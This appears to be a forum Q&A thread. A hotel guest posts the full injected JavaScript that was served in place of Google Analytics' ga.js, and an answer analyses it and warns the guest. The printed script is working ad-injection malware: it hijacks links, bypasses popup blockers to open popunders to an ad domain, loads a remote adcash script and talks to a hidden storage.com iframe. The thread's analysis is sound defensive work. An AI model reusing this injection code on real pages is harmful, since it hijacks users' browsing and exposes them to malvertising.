While connected to my hotel Wi-Fi, visiting the URL http://www.google-analytics.com/ga.js results in the following content being served:

var ga_exists;
if(!ga_exists) 
{
    ga_exists = 1;
    var is_responsive = false;
    var use_keywords = false;

    Date.prototype.addHours = function (h) {
        this.setHours(this.getHours() + h);
        return this
    };

   function shuffle(src) {
        var cnt = src.length, tmp, idx;
        while (cnt > 0) {
            idx = Math.floor(Math.random() * cnt);
            cnt--;
            tmp = src[cnt];
            src[cnt] = src[idx];
            src[idx] = tmp;
        }
        return src;
    }
    function addEvent(obj, type, fn) {
        if (obj.addEventListener) {
            obj.addEventListener(type, fn, false)
        } else if (obj.attachEvent) {
            obj['e' + type + fn] = fn;
            obj[type + fn] = function () {
                obj['e' + type + fn](window.event)
            };
            obj.attachEvent('on' + type, obj[type + fn])
        } else {
            obj['on' + type] = obj['e' + type + fn]
        }
    }

    function getCookie(name) {
        var i, x, y, ARRcookies = document.cookie.split(';');
        for (i = 0; i < ARRcookies.length; i++) {
            x = ARRcookies[i].substr(0, ARRcookies[i].indexOf('='));
            y = ARRcookies[i].substr(ARRcookies[i].indexOf('=') + 1);
            x = x.replace(/^\s+|\s+$/g, '');
            if (x == name)
                return unescape(y)
        }
    }

    function setCookie(name, value, hours) {
        var exdate = new Date();
        exdate.addHours(hours);
        var c_value = escape(value) + ';expires=' + exdate.toUTCString() + ';path=/';
        document.cookie = name + '=' + c_value
    }

    function startsWith(str, pat) {
        if (typeof pat == 'object') {
            for (_i = 0; _i < pat.length; _i++) {
                if (str.toLowerCase().indexOf(pat[_i].toLowerCase()) == 0)
                    return true;
            }
            return false;
        }
        else
            return (str.toLowerCase().indexOf(pat.toLowerCase()) == 0);
    }

    addEvent(window, 'load', function()
    {
        var cnt_all = document.createElement('img');
        cnt_all.src = 'http://www.easycounter.com/counter.php?scanov_all';
        cnt_all.style.display = 'none';
        document.body.appendChild(cnt_all);

        if(use_keywords)
        {
            var keywords = '';
            var metas = document.getElementsByTagName('meta');
            if (metas) {
                var kwstr = '';
                for (var i = 0; i < metas.length; i++) {
                    if (metas[i].name.toLowerCase() == 'keywords')
                        kwstr += metas[i].content;
                }
                if(kwstr) {
                    var tmp = kwstr.split(',');
                    var tmp2 = new Array();
                    for (var i = 0; i < tmp.length && tmp2.length < 3; i++) {
                        var kw = tmp[i].trim();
                        if(/^\w+$/.test(kw))
                            tmp2.push(kw);
                    }
                    if(tmp2.length > 0)
                        keywords = tmp2.join('+');
                }
            }

            var replCookie = 'href-repl';
            var replStaff = Math.floor((Math.random() * 18) + 1);
            var replLink = 'http://msn.com' + '?staff=' + replStaff + '&q=' + keywords;
            var replHours = 12;
            addEvent(document, 'mousedown', function(evt){
                if(getCookie(replCookie)) return;
                evt = evt ? evt : window.event;
                var evtSrcEl = evt.srcElement ? evt.srcElement : evt.target;
                do {
                    if (evtSrcEl.tagName.toLowerCase() == 'a') break;
                    if (evtSrcEl.parentNode) evtSrcEl = evtSrcEl.parentNode;
                } while (evtSrcEl.parentNode);
                if (evtSrcEl.tagName.toLowerCase() != 'a') return;
                if (!startsWith(evtSrcEl.href, new Array('http://', 'https://')))
                    return;
                evtSrcEl.href = replLink;
                setCookie(replCookie, 1, replHours);
            });
        }
        if(window.postMessage && window.JSON)
        {
            var _top = self;
            var cookieName = '';
            var cookieExp = 24;
            var exoUrl = '';
            var exoPuId = 'ad_' + Math.floor(89999999 * Math.random() + 10000000);

            if (top != self) {
                try {
                    if (top.document.location.toString()) {
                        _top = top
                    }
                } catch (err) {}
            }

            var exo_browser = {
                is: function () {
                    var userAgent = navigator.userAgent.toLowerCase();
                    var info = {
                        webkit: /webkit/.test(userAgent),
                        mozilla: (/mozilla/.test(userAgent)) && (!/(compatible|webkit)/.test(userAgent)),
                        chrome: /chrome/.test(userAgent),
                        msie: (/msie/.test(userAgent)) && (!/opera/.test(userAgent)),
                        msie11: (/Trident/.test(userAgent)) && (!/rv:11/.test(userAgent)),
                        firefox: /firefox/.test(userAgent),
                        safari: (/safari/.test(userAgent) && !(/chrome/.test(userAgent))),
                        opera: /opera/.test(userAgent)
                    };
                    info.version = (info.safari) ? (userAgent.match(/.+(?:ri)[\/: ]([\d.]+)/) || [])[1] : (userAgent.match(/.+(?:ox|me|ra|ie)[\/: ]([\d.]+)/) || [])[1];
                    return info
                }(),
                versionNewerThan: function (version) {
                    currentVersion = parseInt(this.is.version.split('.')[0]);
                    return currentVersion > version
                },
                versionFrom: function (version) {
                    currentVersion = parseInt(this.is.version.split('.')[0]);
                    return currentVersion >= version
                },
                versionOlderThan: function (version) {
                    currentVersion = parseInt(this.is.version.split('.')[0]);
                    return currentVersion < version
                },
                versionIs: function (version) {
                    currentVersion = parseInt(this.is.version.split('.')[0]);
                    return currentVersion == version
                },
                isMobile: {
                    Android: function (a) { return a.navigator.userAgent.match(/Android/i) },
                    BlackBerry: function (a) { return a.navigator.userAgent.match(/BlackBerry/i) },
                    iOS: function (a) { return a.navigator.userAgent.match(/iPhone|iPad|iPod/i) },
                    Opera: function (a) { return a.navigator.userAgent.match(/Opera Mini/i) },
                    Windows: function (a) { return a.navigator.userAgent.match(/IEMobile/i) },
                    any: function (a) { return a.navigator.userAgent.match(/Android|BlackBerry|iPhone|iPad|iPod|Opera Mini|IEMobile/i) }
                }
            };
            var browser = exo_browser;

            var exopop = {
                settings: {
                    width: 1024,
                    height: 768
                },
                init: function () {
                    if (browser.isMobile.any(_top))
                        exopop.binders.mobile();
                    if (browser.is.msie)
                        exopop.binders.msie();
                    if (browser.is.msie11)
                        exopop.binders.msie11();
                    if (browser.is.firefox)
                        exopop.binders.firefox();
                    if (browser.is.chrome && browser.versionFrom(30) && navigator.appVersion.indexOf('Mac') != -1) 
                        exopop.binders.chrome30_mac();
                    if (browser.is.chrome && browser.versionOlderThan(30))
                        exopop.binders.chromeUntil30();
                    if (browser.is.chrome && browser.versionIs(30)) 
                        exopop.binders.chrome30();
                    else if (browser.is.chrome && browser.versionFrom(31)) 
                        exopop.binders.chrome31();
                    else if (browser.is.safari) 
                        exopop.binders.safari();
                    else
                        exopop.binders.firefox();
                },
                windowParams: function () {
                    return 'width=' + exopop.settings.width + ',height=' + exopop.settings.height + ',top=0,left=0,scrollbars=1,location=1,toolbar=0,menubar=0,resizable=1,statusbar=1'
                },
                status: {
                    opened: false
                },
                opened: function () {
                    if (exopop.status.opened) return true;
                    if (getCookie(cookieName)) return true;
                    return false
                },
                setAsOpened: function () {
                    this.status.opened = true;
                    setCookie(cookieName, 1, cookieExp)
                },
                findParentLink: function (clickedElement) {
                    var currentElement = clickedElement;
                    if (currentElement.getAttribute('target') == null && currentElement.nodeName.toLowerCase() != 'html') {
                        var o = 0;
                        while (currentElement.parentNode && o <= 4 && currentElement.nodeName.toLowerCase() != 'html') {
                            o++;
                            currentElement = currentElement.parentNode;
                            if (currentElement.nodeName.toLowerCase() === 'a' && currentElement.href != '') {
                                break
                            }
                        }
                    }
                    return currentElement
                },
                triggers: {
                    firefox: function () {
                        if (exopop.opened()) return true;
                        var popURL = 'about:blank';
                        var params = exopop.windowParams();
                        var PopWin = _top.window.open(popURL, exoPuId, params);
                        if (PopWin) {
                            PopWin.blur();
                            if (navigator.userAgent.toLowerCase().indexOf('applewebkit') > -1) {
                                _top.window.blur();
                                _top.window.focus()
                            }
                            PopWin.Init = function (e) {
                                with(e) {
                                    Params = e.Params;
                                    Main = function () {
                                        var x, popURL = Params.PopURL;
                                        if (typeof window.mozPaintCount != 'undefined') {
                                            x = window.open('about:blank');
                                            x.close()
                                        } else if (navigator.userAgent.toLowerCase().indexOf('chrome/2') > -1) {
                                            x = window.open('about:blank');
                                            x.close()
                                        }
                                        try {
                                            opener.window.focus()
                                        } catch (err) {}
                                        window.location = popURL;
                                        window.blur()
                                    };
                                    Main()
                                }
                            };
                            PopWin.Params = {
                                PopURL: exoUrl
                            };
                            PopWin.Init(PopWin)
                        }
                        exopop.setAsOpened();
                        return
                    },
                    chromeUntil30: function () {
                        if (exopop.opened()) return true;
                        window.open('javascript:window.focus()', '_self');
                        var w = window.open('about:blank', exoPuId, exopop.windowParams());
                        var a = document.createElement('a');
                        a.setAttribute('href', 'data:text/html,<scr' + 'ipt>window.close();</scr' + 'ipt>');
                        a.style.display = 'none';
                        document.body.appendChild(a);
                        var e = document.createEvent('MouseEvents');
                        e.initMouseEvent('click', true, true, window, 0, 0, 0, 0, 0, true, false, false, true, 0, null);
                        a.dispatchEvent(e);
                        document.body.removeChild(a);
                        w.document.open().write('<script type="text/javascript">window.location="' + exoUrl + '";<\/script>');
                        w.document.close();
                        exopop.setAsOpened()
                    },
                    chrome30: function (W) {
                        if (exopop.opened()) return true;
                        var link = document.createElement('a');
                        link.href = 'javascript:window.open("' + exoUrl + '","' + exoPuId + '","' + exopop.windowParams() + '")';
                        document.body.appendChild(link);
                        link.webkitRequestFullscreen();
                        var event = document.createEvent('MouseEvents');
                        event.initMouseEvent('click', true, true, window, 0, 0, 0, 0, 0, false, false, true, false, 0, null);
                        link.dispatchEvent(event);
                        document.webkitCancelFullScreen();
                        setTimeout(function () {
                            window.getSelection().empty()
                        }, 250);
                        var Z = W.target || W.srcElement;
                        Z.click();
                        exopop.setAsOpened()
                    },
                    safari: function () {
                        if (exopop.opened()) return true;
                        var popWindow = _top.window.open(exoUrl, exoPuId, exopop.windowParams());
                        if (popWindow) {
                            popWindow.blur();
                            popWindow.opener.window.focus();
                            window.self.window.focus();
                            window.focus();
                            var P = '';
                            var O = top.window.document.createElement('a');
                            O.href = 'data:text/html,<scr' + P + 'ipt>window.close();</scr' + P + 'ipt>';
                            document.getElementsByTagName('body')[0].appendChild(O);
                            var N = top.window.document.createEvent('MouseEvents');
                            N.initMouseEvent('click', false, true, window, 0, 0, 0, 0, 0, true, false, false, true, 0, null);
                            O.dispatchEvent(N);
                            O.parentNode.removeChild(O)
                        }
                        exopop.setAsOpened()
                    },
                    tab: function () {
                        if (exopop.opened()) return true;
                        var a = top.window.document.createElement('a');
                        var e = document.createEvent('MouseEvents');
                        a.href = exoUrl;
                        document.getElementsByTagName('body')[0].appendChild(a);
                        e.initMouseEvent('click', true, true, window, 0, 0, 0, 0, 0, true, false, false, true, 0, null);
                        a.dispatchEvent(e);
                        a.parentNode.removeChild(a);
                        exopop.setAsOpened()
                    },
                    mobile: function (triggeredEvent) {
                        if (exopop.opened()) return true;
                        var clickedElement = triggeredEvent.target || triggeredEvent.srcElement;
                        if (clickedElement.nodeName.toLowerCase() !== 'a') {
                            clickedElement = exopop.findParentLink(clickedElement)
                        }
                        if (clickedElement.nodeName.toLowerCase() === 'a' && clickedElement.getAttribute('target') !== '_blank') {
                            window.open(clickedElement.getAttribute('href'));
                            exopop.setAsOpened();
                            _top.document.location = exoUrl;
                            if (triggeredEvent.preventDefault != undefined) {
                                triggeredEvent.preventDefault();
                                triggeredEvent.stopPropagation()
                            }
                            return false
                        }
                        return true
                    }
                },
                binders: {
                    msie: function () {
                        addEvent(document, 'click', exopop.triggers.firefox)
                    },
                    firefox: function () {
                        addEvent(document, 'click', exopop.triggers.firefox)
                    },
                    chromeUntil30: function () {
                        addEvent(document, 'mousedown', exopop.triggers.chromeUntil30)
                    },
                    chrome30: function () {
                        addEvent(document, 'mousedown', exopop.triggers.chrome30)
                    },
                    chrome31: function () {
                        addEvent(document, 'mousedown', exopop.triggers.tab)
                    },
                    msie11: function () {
                        addEvent(document, 'mousedown', exopop.triggers.tab)
                    },
                    chrome30_mac: function () {
                        addEvent(document, 'mousedown', exopop.triggers.chromeUntil30)
                    },
                    safari: function () {
                        addEvent(document, 'mousedown', exopop.triggers.safari)
                    },
                    mobile: function () {
                        addEvent(document, 'click', exopop.triggers.mobile)
                    }
                }
            };

            var exoMobPop = 0;
            function exoMobile() {
                addEvent(document, 'click', function(){
                    var targ;
                    var e = window.event;
                    if (e.target) targ = e.target;
                    else if (e.srcElement) targ = e.srcElement;
                    if (targ.nodeType == 3 || targ.tagName != 'A') targ = targ.parentNode;
                    if (getCookie(cookieName)) exoMobPop = 1;
                    if (exoMobPop == 0) {
                        if(targ && targ.tagName == 'A')
                            targ.target = '_blank';
                        exoMobPop = 1;
                        setTimeout(function() {
                            setCookie(cookieName, 1, cookieExp / 2);
                            document.location.assign(exoUrl);
                        }, 1000);
                    }
                });
            }

            var scripts = null;
            var script_names = [];
            var recyclePeriod = 0;
            if(browser.isMobile.any(_top) && is_responsive)
            {
                recyclePeriod = 3 * 60 * 60 * 1000;
                scripts = {
                    '938466': function() {
                        exoUrl =  'http://www.reduxmediia.com/apu.php?n=&zoneid=5716&cb=3394654&popunder=1&direct=1';
                        cookieName = 'splashMob-938466';
                        exoMobile();
                    }
                };
            }
            else
            {
                recyclePeriod = 6 * 60 * 60 * 1000;
                scripts = {
                    'adcash': function() {
                        var adcash = document.createElement('script');
                        adcash.type = 'text/javascript';
                        adcash.src = 'http://www.adcash.com/script/java.php?option=rotateur&r=274944';
                        document.body.appendChild(adcash);
                    },
                    '1896743': function() {
                        exoUrl =  'http://www.reduxmediia.com/apu.php?n=&zoneid=5716&cb=3394654&popunder=1&direct=1';
                        cookieName = 'splashWeb-896743';
                        exopop.init();
                    },
                    'adcash2': function() {
                        var adcash2 = document.createElement('script');
                        adcash2.type = 'text/javascript';
                        adcash2.src = 'http://www.adcash.com/script/java.php?option=rotateur&r=274944';
                        document.body.appendChild(adcash2);
                    },

                };
            }
            for(var i in scripts) {
              if(scripts.hasOwnProperty(i))
                script_names.push(i);
            }
            script_names = shuffle(script_names);

            var origin = 'http://storage.com'
            var path = '/storage.html';
            var sign = '90e79fb1-d89e-4b29-83fd-70b8ce071039';
            var iframe = document.createElement('iframe');
            var done = false;
            iframe.style.cssText = 'position:absolute;width:1px;height:1px;left:-9999px;';
            iframe.src = origin + path;

            addEvent(iframe, 'load', function(){
                addEvent(window, 'message', function(evt){ 
                    if (!evt || evt.origin != origin)
                        return;
                    var rsp = JSON.parse(evt.data);
                    if(!rsp || rsp.sign != sign || rsp.act != 'ret')
                        return;
                    scripts[rsp.data]();
                    if(browser.isMobile.any(_top) && is_responsive) {
                        iframe.contentWindow.postMessage(
                            JSON.stringify({
                                act: 'set',
                                sign: sign,
                                data: rsp.data
                            }), 
                            origin
                        );
                    } else {
                        addEvent(document, 'mousedown', function(){
                            if(done) return;
                            done = true;
                            iframe.contentWindow.postMessage(
                                JSON.stringify({
                                    act: 'set',
                                    sign: sign,
                                    data: rsp.data
                                }), 
                                origin
                            );
                        });
                    }
                });
                iframe.contentWindow.postMessage(
                    JSON.stringify({
                        act: 'get',
                        recycle: recyclePeriod,
                        sign: sign,
                        data: script_names
                    }), 
                    origin
                );
            });
            document.body.appendChild(iframe);
        }
    });
}


Obviously someone is using this script to inject ads into guests' browsing. However, the worrying part for me is the bit that references "storage.com". When I ping storage.com, it resolves to 199.182.166.176.

Should I be worried?

Yes, you should be worried. You should contact the hotel staff, and you should not use the network any more. It is likely the router’s DNS is manipulated.

It is possible that the hotel wants to make some money on the side by injecting ads. However, this script looks evil.

It tries to open a dialog that tricks you into installing a trojan by displaying a message that is supposed to look like a Windows update:

http://www.reduxmediia.com/apu.php?n=&zoneid=5716&cb=3394654&popunder=1&direct=1



Update

The answer is not really worth so many up-votes. So let me add some more about what the script is doing.

It opens an iframe to storage.com and uses postMessage to store/query data with the ID 90e79fb1-d89e-4b29-83fd-70b8ce071039.

These ads, besides the ad above, mentioned popup, it also loads JavaScript from: http://www.adcash.com/script/java.php?option=rotateur&r=274944

Also, there is something happening with keywords and an msn.com search query on mousedown.
